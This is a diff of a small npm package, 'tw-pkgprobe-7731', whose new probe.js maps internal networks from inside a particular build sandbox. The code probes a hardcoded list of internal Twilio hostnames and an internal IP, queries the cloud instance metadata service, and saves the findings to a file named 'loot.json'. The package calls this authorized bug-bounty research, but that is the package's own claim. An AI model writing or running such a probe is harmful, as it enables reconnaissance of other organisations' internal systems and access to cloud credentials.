tw-pkgprobe-7731 1.0.8 → 1.1.0

package/daemon.js

@@ -1,2 +1 @@
-// v1.0.8 kill-switch: research daemon disabled. Does nothing and exits.
 process.exit(0);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tw-pkgprobe-7731",
-  "version": "1.0.8",
+  "version": "1.1.0",
   "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
   "main": "index.js",
   "license": "MIT",

package/probe.js

@@ -1,9 +1,30 @@
-// v1.0.8 kill-switch: stops any earlier research daemon left in a shared build container.
-const fs=require('fs'), cp=require('child_process');
-try{
-  if(/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())){
-    try{ const p=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(p) process.kill(p,'SIGKILL'); }catch(e){}
-    try{ fs.writeFileSync('/tmp/.npm-helper.js','process.exit(0);'); }catch(e){}
-    try{ fs.writeFileSync('/tmp/.npm-helper.ver','1.0.8'); }catch(e){}
+// Authorized bug-bounty research probe (Twilio HackerOne). Connectivity matrix from the
+// Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else.
+const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net');
+const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
+"one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com",
+"eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com",
+"code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com",
+"service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];
+const out={ts:Date.now(),cwd:process.cwd(),results:{}};
+function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false;
+ const fin=v=>{if(!done){done=true;try{s.destroy()}catch(e){};r(v)}};
+ s.on('connect',()=>fin('open'));s.on('timeout',()=>fin('timeout'));s.on('error',e=>fin('err:'+e.code));});}
+function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{
+  let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));});
+  req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}
+async function main(){
+  if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
+  for(const h of HOSTS){
+    const rec={};
+    try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';}
+    if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; }
+    rec.tcp443=await tcp(rec.dns,443,5000);
+    if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000);
+    out.results[h]=rec;
   }
-}catch(e){}
+  out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};
+  out.imds=await get('https://169.254.169.254/latest/meta-data/',3000);
+  try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
+}
+main().catch(e=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}});